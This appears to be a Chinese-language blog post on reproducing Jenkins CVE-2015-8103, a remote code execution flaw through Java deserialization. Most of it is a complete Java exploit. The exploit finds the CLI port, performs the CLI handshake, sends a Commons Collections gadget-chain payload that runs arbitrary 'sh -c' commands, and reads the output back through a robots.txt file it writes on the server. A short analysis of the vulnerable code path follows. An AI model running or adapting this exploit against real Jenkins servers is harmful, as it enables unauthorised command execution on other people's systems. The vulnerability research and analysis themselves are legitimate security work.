1. 程式人生 > 其它 >Jenkins CVE-2015-8103 復現分析&Exp修改

Jenkins CVE-2015-8103 復現分析&Exp修改

0x00 前言

這個漏洞之前復現的時候一直不注意細節導致復現失敗。

msf遠端載入jar並反彈shell一直沒打成功,最後是通過一步步除錯poc最後寫成該漏洞利用成功的工具。

一直有幾個坑點,第一個是jdk8_111版本在linux上覆現失敗(本地打可以,不知道是不是jdk壞了),第二個點是執行復雜命令的時候一直有問題,需要sh -c最終才搞定。

0x01 漏洞利用

通過cc1鏈進行生成payload,傳送該payload即刻構成命令執行。

import com.github.kevinsawicki.http.HttpRequest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;

public class JenkinsCVE_2015_8103 {
    public String getCliPort(String url){
        HttpRequest httpRequest = new HttpRequest(url,"GET");
        httpRequest.header("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36");
        httpRequest.header("Accept","*/*");
        httpRequest.header("Accept-Encoding","gzip, deflate");
        String cliPort = httpRequest.header("X-Jenkins-CLI-Port");

        //System.out.println(cliPort);
        return cliPort;
    }

    public String getIp(String urlString) throws MalformedURLException, UnknownHostException {
        InetAddress address = InetAddress.getByName(new URL(urlString).getHost());
        String ip = address.getHostAddress();
        return ip;
    }

    public String exploit(String timeStamp,String command,String host ,String port) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {


        byte[] protocol = "Protocol:CLI-connect".getBytes();
        byte[] flag = {0, 20};
        byte[] byte_3 = new byte[protocol.length + flag.length];
        System.arraycopy(flag, 0, byte_3, 0, flag.length);
        System.arraycopy(protocol, 0, byte_3, flag.length, protocol.length);
        //System.out.println(Arrays.toString(byte_3));
        int cliPort = Integer.valueOf(port);
        // 與服務端建立連線
        Socket socket = new Socket(host, cliPort);
        // 建立連線後獲得輸出流
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(byte_3);
        //通過shutdownOutput高速伺服器已經發送完資料,後續只能接受資料
        outputStream.flush();
        InputStream inputStream = socket.getInputStream();

        ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
        byte[] buffer = new byte[1024];
        int len = -1;

        len = inputStream.read(buffer);
        outSteam.write(buffer, 0, len);
        len = inputStream.read(buffer);
        outSteam.write(buffer, 0, len);

        //System.out.println(Arrays.toString(outSteam.toByteArray()));

        byte[] payloadHeader = "<===[JENKINS REMOTING CAPACITY]===>".getBytes();

        byte[] payloadBody = Base64.getEncoder().encode(generatePayload(timeStamp,command));

        byte[] payload = new byte[payloadHeader.length + payloadBody.length];
        System.arraycopy(payloadHeader, 0, payload, 0, payloadHeader.length);
        System.arraycopy(payloadBody, 0, payload, payloadHeader.length, payloadBody.length);
        //System.out.println(Arrays.toString(payload));
        outputStream.write(payload);
        outputStream.flush();


        inputStream.close();
        outputStream.close();
        socket.close();
        return "";

    }

    public byte[] generatePayload(String flag,String command) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        //System.out.println(command);

        command = flag + command;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"sh", "-c","cd $(find / -name \"winstone.jar\" -type f -exec dirname {} \\; | sed 1q) && echo `" + command + "` > robots.txt"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        // 因為構造方法不是 public, 只能通過反射構造出來
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(obj);
        return byteArrayOutputStream.toByteArray();

    }


    public String getCmdResult(String flag,String url) throws InterruptedException {
        int all = 10;
        String result = "";
        String execResult = "";

        for(int count=0;count<all;count++){
            HttpRequest httpRequest = HttpRequest.get(url + "/robots.txt");
            result = httpRequest.body();
            //System.out.println(result);
            if(result.contains(flag)) {
                execResult = result.replaceFirst(flag, "");
                break;
            }
            TimeUnit.SECONDS.sleep(1);
        }
        if(execResult.equals("")){
            execResult = "Can not execute command";
        }

//        String result = "";
        return execResult;
    }
}

0x02 漏洞分析

從poc分析,該漏洞利用主要分為幾步,首先是獲得Cli埠,cli埠一般為隨機埠

接著去請求cli埠

第一步是client傳送類似於Protocol:CLI-connect的握手協議,接著服務端返回Welcome,接著再度返回<==Jenkins這些標記,最後接上經過base64編碼的序列化字串。

從程式碼層面來看,該cli埠業務處理邏輯入口為TcpSlaveAgentListener

其呼叫ConnectionHandler方法,直接判斷Protocol協議是否符合預期

run方法中呼叫handle方法,在接收後返回Welcome

跟進runCli

通過鏈式呼叫,最終呼叫build方法,其中build方法傳入為輸入和輸出

方法最後呼叫negotiate,對client傳過來的資料進行反序列化,以及講序列化的資料傳給客戶端

該read方法的內部構造呼叫了readObject

通過呼叫readObject進行反序列化,反序列化使用的是cc1鏈的payload,於是會通過呼叫AnnotationInvocationHandler進行去呼叫CommonsCollections的鏈式呼叫,從而執行命令。

0x0 參考

https://www.kingkk.com/2019/01/Java反序列之從萌新到菜鳥/

https://xz.aliyun.com/t/7157

https://xz.aliyun.com/t/7740

https://misakikata.github.io/2020/03/Jenkins漏洞集合復現